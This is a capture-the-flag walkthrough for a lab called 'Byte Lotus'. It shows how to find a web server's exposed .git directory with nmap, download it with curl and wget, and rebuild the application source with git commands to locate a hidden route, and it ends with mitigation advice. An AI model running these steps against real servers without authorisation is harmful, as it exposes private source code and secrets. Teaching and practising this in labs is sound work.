Byte Lotus — Exposed Git Repository Walkthrough

Bybwright

Scenario

The challenge presents a web application running on port 8080 with a hint that something important exists outside the normal “floor plan.”

The objective is simple:

  • dump the exposed source code
  • find the hidden flag

The key clue is that the developer may have deployed more than just the website.

Enumeration

Start by identifying what is running on port 8080.

nmap -Pn -sC -sV -p 8080 TARGET_IP

The scan reveals a Python/Werkzeug web application and, more importantly, an exposed Git repository:

http-git:
  TARGET_IP:8080/.git/
    Git repository found!
    Last commit message: initial Byte Lotus guest platform

This is the critical finding.

An exposed .git directory can contain enough metadata and object data to reconstruct the source code of the application.

Confirm the Git Repository

You can manually verify the repository by requesting files such as:

curl http://TARGET_IP:8080/.git/HEAD

and:

curl http://TARGET_IP:8080/.git/config

A normal HEAD response may resemble:

ref: refs/heads/main

That confirms the web server is exposing Git internals.

Download the Repository

The entire exposed directory can be recursively downloaded with wget:

wget -r http://TARGET_IP:8080/.git/

Then move into the downloaded web root:

cd TARGET_IP:8080

Check the contents:

ls -la

You should see the .git directory.

Let Git Identify the Missing Files

Running:

git status

revealed that the repository expected several files:

deleted: README.md
deleted: app.js
deleted: index.html

This happens because wget recovered the Git metadata, but it did not automatically reconstruct the working tree.

The Git objects still contained the original files.

Inspect the Repository Tree

You can confirm which files are tracked with:

git ls-tree -r HEAD

Example:

100644 blob <hash> README.md
100644 blob <hash> app.js
100644 blob <hash> index.html

This proves that Git still has those files stored internally.

Restore the Source Code

Rebuild the working tree directly from Git:

git restore .

Now check the directory again:

ls -la

The source files should be restored:

README.md
app.js
index.html

At this point, the exposed source code has effectively been dumped.

Inspect the Application

Start reading the recovered files:

cat README.md
cat app.js
cat index.html

For a faster search, look for interesting keywords:

grep -RniE 'flag|room|secret|hidden|api|admin|debug|internal' \
README.md app.js index.html

The JavaScript is especially useful because frontend code often exposes:

  • API endpoints
  • hidden routes
  • internal paths
  • debug functionality
  • forgotten developer features

In this challenge, examining the restored application source reveals the route or functionality needed to reach the final flag.

The flag itself is intentionally not included here.

Why the Git Exposure Matters

A .git directory should never be publicly accessible.

Git repositories may reveal:

.git/HEAD
.git/config
.git/index
.git/objects/
.git/refs/

The objects directory is particularly important because Git stores file contents, directory trees, and commit history there.

Even if a sensitive file is removed from the live website, it may still exist in:

git log
git show

or previous commits.

For example:

git show HEAD:app.js

lets you read a tracked file directly from Git without restoring it first.

Minor Issue Encountered

Running:

git log --oneline --all

produced an error similar to:

fatal: bad object refs/heads/index.html

This was caused by recursive wget downloading HTML directory-index files into places such as:

.git/refs/heads/

Git then tried to interpret those files as branch references.

Instead of using all refs, querying HEAD directly works:

git log --oneline HEAD

This is a useful reminder that recursively downloading a web-exposed .git directory can introduce extra files that were never part of the original repository.

Lessons Learned

This challenge demonstrates how a simple deployment mistake can expose an application’s entire source code.

The attack path was:

Port enumeration
      ↓
Discover /.git/
      ↓
Download repository metadata
      ↓
Reconstruct Git working tree
      ↓
Inspect source code
      ↓
Discover hidden application functionality
      ↓
Retrieve flag

The vulnerability here is not really in the application logic itself. It is a deployment and information-disclosure issue.

A developer pushed the application to production while leaving the .git repository inside the web-accessible directory.

That mistake gave an attacker access to information that was never intended to be public.

Key commands

nmap -Pn -sC -sV -p 8080 TARGET_IP

curl http://TARGET_IP:8080/.git/HEAD

wget -r http://TARGET_IP:8080/.git/

cd TARGET_IP:8080

git status

git ls-tree -r HEAD

git restore .

git log --oneline HEAD

grep -RniE 'flag|room|secret|hidden|api|admin|debug|internal' .

Vulnerability: Exposed Git repository / source-code disclosure

Impact: Attackers can recover application source code, routes, secrets, previous revisions, and other internal implementation details.

Mitigation: Never deploy .git into a publicly accessible web root, and explicitly deny access to version-control metadata at the web-server level.

Similar Posts